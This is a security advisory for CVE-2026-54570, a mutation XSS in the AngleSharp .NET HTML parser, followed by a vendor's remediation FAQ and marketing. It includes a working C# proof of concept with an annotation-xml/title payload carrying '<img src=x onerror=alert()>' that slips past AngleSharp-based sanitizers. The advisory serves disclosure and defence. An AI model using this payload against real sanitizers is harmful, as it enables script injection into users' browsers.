Summary
AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass
The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.
AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:
- Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
- Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235
Details
In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):
// Current, HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)
Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.
In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):
// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand: stringBuilder.Append("&"); break;
case Symbols.NoBreakSpace: stringBuilder.Append(" "); break;
case Symbols.DoubleQuote: stringBuilder.Append("""); break;
default: stringBuilder.Append(value[i]); break; // < and > pass through raw
PoC
The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.
using System;
using System.Linq;
using AngleSharp.Html.Parser;
public class Program
{
static readonly string Payload1 =
"<math>" +
"<annotation-xml encoding=\"text/html\">" +
"<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
"</annotation-xml></math>";
public static void Main()
{
var parser = new HtmlParser();
Check(parser, Payload1, "IMG",
"AngleSharp missed <img>, VULNERABLE (mXSS via attribute serialization)",
"AngleSharp found <img>, SAFE");
}
static void Check(HtmlParser parser, string html, string tag,
string failMsg, string passMsg)
{
var doc = parser.ParseDocument(html);
var tags = doc.All.Select(e => e.TagName).ToHashSet();
var found = tags.Contains(tag);
Console.WriteLine(found ? passMsg : failMsg);
Console.WriteLine("Serialized output:");
Console.WriteLine(doc.DocumentElement.OuterHtml);
}
}
Output:
AngleSharp missed <img>, VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>
The title tag may be swapped out for style and other RCDATA elements.
When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.
Impact
Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.
This reduces AngleSharp's credibility as a conformant HTML parser.
CVE-2026-54570 has a CVSS score of 6.9 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.5.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-54570? CVE-2026-54570 is a medium-severity security vulnerability in AngleSharp (nuget), affecting versions < 1.5.0. It is fixed in 1.5.0.
- How severe is CVE-2026-54570? CVE-2026-54570 has a CVSS score of 6.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of AngleSharp are affected by CVE-2026-54570? AngleSharp (nuget) versions < 1.5.0 is affected.
- Is there a fix for CVE-2026-54570? Yes. CVE-2026-54570 is fixed in 1.5.0. Upgrade to this version or later.
- Is CVE-2026-54570 exploitable, and should I be worried? Whether CVE-2026-54570 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-54570 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-54570? Upgrade
AngleSharpto 1.5.0 or later.